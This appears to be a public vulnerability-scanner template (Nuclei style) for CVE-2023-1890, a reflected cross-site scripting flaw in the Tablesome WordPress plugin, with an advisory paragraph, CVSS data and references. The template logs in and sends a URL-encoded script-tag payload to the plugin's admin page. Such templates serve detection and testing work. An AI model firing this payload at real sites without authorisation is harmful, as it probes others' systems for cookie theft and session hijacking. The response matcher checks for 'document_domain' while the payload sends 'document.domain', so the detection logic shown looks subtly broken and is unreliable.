Tablesome before 1.0.9 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2023-1890
info:
name: Tablesome < 1.0.9 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
Tablesome before 1.0.9 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: Fixed in version 1.0.9.
reference:
- https://wpscan.com/vulnerability/8ef64490-30cd-4e07-9b7c-64f551944f3d
- https://wordpress.org/plugins/tablesome/
- https://nvd.nist.gov/vuln/detail/CVE-2023-1890
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-1890
cwe-id: CWE-79
epss-score: 0.09155
epss-percentile: 0.92389
cpe: cpe:2.3:a:pauple:tablesome:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: pauple
product: tablesome
framework: wordpress
tags: cve2023,cve,wpscan,wp,wp-plugin,wordpress,authenticated,xss,tablesome,pauple
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/edit.php?post_type=tablesome_cpt&a%22%3e%3cscript%3ealert`document.domain`%3c%2fscript%3e HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "<script>alert`document_domain`</script>")'
- 'contains(body_2, "tablesome")'
condition: and
# digest: 490a0046304402202015b0dbe7615fe47740dde05809adc9b86368ae575ec76b67b54800e023c3bf02206ed7abc62d109aa4b08f2d218a0e5b5bccdada7b95d9d2b68a558d73eaa6a581:922c64590222798bb761d5b6d8e72950